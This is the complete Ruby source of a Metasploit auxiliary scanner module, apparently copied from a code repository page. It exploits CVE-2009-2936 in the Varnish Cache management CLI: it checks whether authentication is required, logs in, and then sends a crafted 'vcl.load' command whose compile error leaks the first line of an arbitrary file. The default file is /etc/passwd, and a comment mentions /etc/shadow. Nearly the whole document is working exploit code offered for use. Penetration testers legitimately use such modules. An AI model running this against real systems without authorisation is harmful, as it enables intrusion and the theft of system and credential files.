77 lines
2.4 KiB
Ruby
77 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'metasploit/framework/tcp/client'
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require 'metasploit/framework/varnish/client'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Scanner
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include Metasploit::Framework::Varnish::Client
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def initialize
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super(
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'Name' => 'Varnish Cache CLI File Read',
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'Description' => 'This module attempts to read the first line of a file by abusing the error message when
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compiling a file with vcl.load.',
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'References' =>
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[
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[ 'OSVDB', '67670' ],
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[ 'CVE', '2009-2936' ],
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[ 'EDB', '35581' ],
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[ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ]
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],
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'Author' =>
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[
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'patrick', #original module
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'h00die <mike@shorebreaksecurity.com>' #updates and standardizations
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],
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'License' => MSF_LICENSE,
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'DefaultOptions' => {
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'RPORT' => 6082
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}
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)
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register_options(
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[
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OptString.new('PASSWORD', [ false, 'Password for CLI. No auth will be automatically detected', '' ]),
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OptString.new('FILE', [ false, 'File to read the first line of', '/etc/passwd' ])
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])
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end
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def run_host(ip)
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# first check if we even need auth
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begin
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connect
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challenge = require_auth?
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close_session
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disconnect
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connect
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if !challenge
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print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
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else
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if not login(datastore['PASSWORD'])
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vprint_error "#{ip}:#{rport} - Unable to Login"
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return
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end
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end
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# abuse vcl.load to load a varnish config file and save it to a random variable. This will fail to give us the first line in debug message
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sock.get_once
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sock.puts("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} #{datastore['FILE']}")
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result = sock.get_once
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if result && result =~ /Line \d Pos \d+\)\n(.*)/
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vprint_good($1)
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else
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vprint_error(result) # will say something like "Cannot open '/etc/shadow'"
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end
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close_session
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disconnect
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rescue Rex::ConnectionError, EOFError, Timeout::Error
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print_error "#{ip}:#{rport} - Unable to connect"
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end
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end
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end
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